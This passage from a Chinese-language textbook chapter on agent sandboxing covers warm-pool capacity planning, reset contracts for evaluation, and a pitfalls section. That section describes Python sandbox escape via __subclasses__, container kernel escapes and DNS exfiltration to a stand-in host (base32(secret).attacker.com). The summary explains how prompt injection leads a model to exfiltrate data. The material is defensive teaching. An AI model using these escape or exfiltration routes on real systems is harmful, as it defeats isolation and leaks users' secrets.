池的容量由两个量决定。当租约在整条轨迹期间持续持有时,将 容量的解析表达式 中的利特尔定律应用于驻留轨迹(推导见 轨迹排队),可得活跃租约数为 \(N_{\text{active}} = \lambda \cdot T_{\text{hold}}\),其中 \(\lambda\) 是轨迹启动速率,\(T_{\text{hold}}\) 是每条轨迹持有租约的时长。备用储备必须覆盖补充一个封装环境所需的时间 \(T_{\text{init}}\) 内的到达量。该时间窗口内的到达量近似服从均值为 \(\lambda T_{\text{init}}\) 的泊松分布,因此,若备用队列为空的目标概率为 \(\epsilon\),则当储备量为
\[S_{\min} \ge \lambda T_{\text{init}} + z_{1-\epsilon} \sqrt{\lambda T_{\text{init}}}\]
且 \(\lambda T_{\text{init}}\) 较大时,便足以满足要求,其中 \(z_{1-\epsilon}\) 为标准正态分布的分位数。当补充速度较快时,均值较小,可以直接查取泊松分布的尾部概率。内存需求由写时复制共享机制决定。池中保存一个模板、每个活跃租约各自的一组私有页,以及每个备用封装环境的少量监控器状态:
\[M_{\text{pool}} = M_{\text{template}} + N_{\text{active}} \cdot M_{\text{dirty}} + S \cdot M_{\text{standby}}\]
这些方程表明,决定集群规模的是轨迹的持续时长,而非工具延迟。租约在整条轨迹期间持续持有,使活跃租约数随轨迹持续时长增长;写时复制则避免了内存需求按完整客户机镜像的大小同比增长。
粗略估算 0.2: 按轨迹分配租约时的预热池容量规划
变量:
- 到达速率 \(\lambda\):每秒 2 条轨迹,每条轨迹持有租约的 \(T_{\text{hold}}\) 为 300 秒。
- 补充时间 \(T_{\text{init}}\):一次快照恢复,15 毫秒。
- 内存:一个 0.537 GB 的模板,每个活跃租约的 \(M_{\text{dirty}}\) 为 64 MB。
- 突发负载:同时到达 500 条轨迹,通过 8 路并行恢复提供服务。
计算:
活跃租约数为 \(N_{\text{active}} = \lambda T_{\text{hold}}\),即 2 \(\times\) 300 \(=\) 600。
一次恢复期间的平均到达量为 \(\lambda T_{\text{init}}\),即 0.03。备用储备为一个时,只有在一次恢复窗口内到达两条或更多轨迹,队列才会耗尽,其发生概率为 \(1 - e^{-\lambda T_{\text{init}}}(1 + \lambda T_{\text{init}}) \approx\) 0.04%,低于目标值。因此,一个备用封装环境就足够了。
如果每个租约都持有客户机的私有副本,内存需求将为 600 \(\times\) 0.537 GB \(\approx\) 322 GB。采用写时复制后,池中保存一个 0.537 GB 的模板,加上 600 \(\times\) 64 MB \(=\) 38.4 GB 的私有页,总计约 38.9 GB,降至原来的 1/8.3。
突发负载会立即耗尽储备。恢复 500 个封装环境,每次并行恢复 8 个,需要 63 轮(突发轨迹数除以并行恢复数,再向上取整),每轮耗时 15 毫秒,因此突发负载中的最后一条轨迹需要等待约 945 毫秒才能获得其封装环境。
系统洞见:借助快照恢复,备用储备的成本几乎可以忽略不计,即使是大规模评估突发负载,也能在一秒内处理完毕。强隔离的实际成本在于活跃租约所占用的驻留内存,它随轨迹持续时长增长;写时复制共享则使按轨迹分配 microVM 的集群成本保持在可承受范围内。
沙箱作为评估与轨迹采样的底层基础
约束生产环境智能体的机制,也使智能体能够被测量和训练。固定版本的基础镜像,以及处于固定提交版本的代码仓库及其工具链,共同定义了任务环境。重置契约保证每次尝试都从相同状态开始,因此两种策略之间通过率的差异反映的是策略本身,而非先前尝试遗留的状态。以只读方式挂载在可写层之外的评分器,是 封闭隔离评估训练场 在其评估运行框架中内置的密封验证器;按突发负载配置容量的资源池,则提供了 轨迹整理 和 可验证奖励强化学习 所依赖的轨迹采样吞吐量。重置不彻底会在下游表现为无法复现的评估结果,在训练中则表现为策略学会利用前一次轨迹采样留下的状态。
本章的各项机制单独来看都很简单,实践中的大多数故障都源于认为另一项机制已经足够,而跳过其中某一项。
谬误与陷阱
沙箱错误之所以持续存在,是因为每一种捷径在测试中都能奏效,而测试时尚无人植入指令或触发边界情况。
谬误:语言层面的 AST 验证和受限全局环境能够为解释型运行时构建沙箱。 陷阱: 高级动态语言(Python、Ruby、Node.js)将作用域、类和方法视为统一堆中的可变对象。移除内置对象只能切断符号化的变量引用。任何元组、字符串或整数的字面量都保留着双向指针,可沿这些指针回溯到通用基类 object,其 __subclasses__() 方法会暴露内存中加载的所有类。此外,静态 AST 分析无法解析动态字符串拼接、十六进制解码或 getattr() 调用(根据莱斯定理,这是不可判定的)。仅一个原生扩展(NumPy、Pillow)中的漏洞,就能彻底突破用户空间边界,导致处于 Ring 0 的宿主机被攻陷。
谬误:操作系统容器(Docker/runC)能够提供多租户隔离边界。 陷阱: 容器在同一个单体 Linux 内核中隔离命名空间(PID、NET、MNT)。来自容器的每一次系统调用都会直接进入宿主机的 Ring 0。在宿主机的 450 多个系统调用、eBPF 子系统或 io_uring 驱动程序中,任意一个内核漏洞都能使攻击者以 root 权限在所有同机部署的沙箱中任意执行代码。
谬误:原地清理文件系统和进程比销毁写时复制覆盖层更快,而且同样安全。 陷阱: 原地清理不可避免地会造成跨租户污染。通过两次 fork 逃逸并归属于 PID 1 的后台进程、抽象 UNIX 域套接字、已绑定的网络端口,以及 Linux 内核密钥环凭据,都会在多轮清理后继续存在。可靠的多租户安全要求卸载并销毁临时 OverlayFS 暂存存储器,并回收微型虚拟机或从干净快照中重新恢复微型虚拟机。
谬误:阻止出站 TCP/UDP 流量的网络防火墙足以防止数据外泄。 陷阱: 如果沙箱仍能通过 UDP 端口 53 访问标准递归 DNS 解析器,恶意脚本就可以将数据编码到子域名标签中,从而外泄敏感文件(base32(secret).attacker.com)。要实现有效隔离,必须采用分视图 DNS 过滤,严格执行 FQDN 允许列表,限制查询长度,并丢弃所有未经授权的域顶点查询。
总结
一个已获授权且类型正确的工具调用,仍会执行代码,而授权本身无法洞察这些代码的作用范围;提出该调用的模型,也会在读取自身指令的同一序列中读取被植入的指令。本章在模型之下的层级限制了这一作用范围。只有当私有数据、不可信内容和出站通道同时存在时,注入攻击才能造成数据外泄。能力机制和凭据代理将秘密及环境隐含权限排除在沙箱之外;根据代码、权限和执行时长选择的隔离边界,限定了代码能够触及的范围;按轨迹租用的写时复制工作区,在各轮交互之间保留工作状态,并在租户之间丢弃这些状态;出站控制和污点跟踪则收窄了数据离开的路径。随后,支持快照恢复并遵循严格重置契约的资源池,使最强隔离边界的成本降至足够低,让任何人都没有理由削弱它。
要点回顾: 限制作用范围,而非请求
- 限制位于模型之下:指令与不可信数据共享同一个词元序列,因此提示词和表述方式只能降低植入的指令被执行的概率。一个动作能够触及的范围,由运行时强制实施的隔离封套、能力和出站策略决定。
- 打破注入攻击的必要条件组合:数据外泄需要私有数据、不可信内容和外传通道。经由代理提供凭据可将秘密移出沙箱,出站控制和污点检查可收窄通道,而隔离封套则限定代码能够访问的范围。
- 隔离封套的强度取决于代码、权限和持续时间:纯计算适合采用每次调用时启动的字节码沙箱,模型编写的原生代码需要独立的客户机内核,而长轨迹可将 microVM 的启动成本分摊到数百轮交互中。
- 按轨迹租用,按租户重置:写时复制工作区在共享同一个基础镜像的同时,可跨轮次保留智能体的修改。租期结束时,其上层以差异形式导出,随后被丢弃,绝不清理后复用。
- 池化让强隔离的成本可承受:借助快照恢复,一个备用隔离封套即可承接持续到来的请求,而写时复制内存可将每条轨迹独立使用的 microVM 的常驻内存占用缩减至约原来的 1/8.3,因此延迟绝不能成为弱化隔离边界的理由。
智能体沙箱将模型之下的遏制(原则 10)转化为成本经过测量的机制。隔离封套的强度取决于其中运行的代码,重置通过回滚或销毁完成,而非通过清理完成;池化则摊薄了启动成本,正是这种成本使人倾向于省略强隔离。隔离封套与类型化动作契约(原则 8)共同限定单个动作所携带的权限,涵盖其代码能够读取和发送的内容,以及能够修改的内容;不变式闭包原则(不变闭包原则)则解释了为什么这些限制都必须由运行时实施,而不能依赖模型的指令。
